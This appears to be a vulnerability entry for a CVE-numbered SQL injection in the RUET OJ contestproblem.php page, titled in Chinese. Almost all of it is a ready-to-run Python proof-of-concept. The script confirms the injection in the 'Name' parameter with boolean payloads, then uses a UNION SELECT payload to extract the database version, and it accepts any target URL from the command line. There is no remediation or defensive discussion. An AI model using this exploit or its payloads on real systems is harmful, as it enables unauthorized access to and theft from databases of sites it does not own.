CVE-2025-12328 shawon100 RUET OJ contestproblem.php SQL注入漏洞

import requests import sys # CVE-2025-12328 SQL Injection PoC # Target: shawon100 RUET OJ /contestproblem.php def exploit_sqli(target_url, payload): """ SQL injection exploitation function """ params = { 'Name': payload # Vulnerable parameter } try: response = requests.get(target_url, params=params) return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None def blind_sqli(target_url): """ Boolean-based blind SQL injection to extract database version """ # Test for SQL injection vulnerability true_payload = "' OR 1=1 --" false_payload = "' OR 1=2 --" true_response = exploit_sqli(target_url, true_payload) false_response = exploit_sqli(target_url, false_payload) if true_response != false_response: print("[+] SQL Injection vulnerability confirmed!") # Extract database version version_payload = "' UNION SELECT NULL,@@version,NULL,NULL,NULL --" version_response = exploit_sqli(target_url, version_payload) print(f"[*] Database version: {version_response}") else: print("[-] SQL Injection not confirmed") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/contestproblem.php") sys.exit(1) target = sys.argv[1] blind_sqli(target)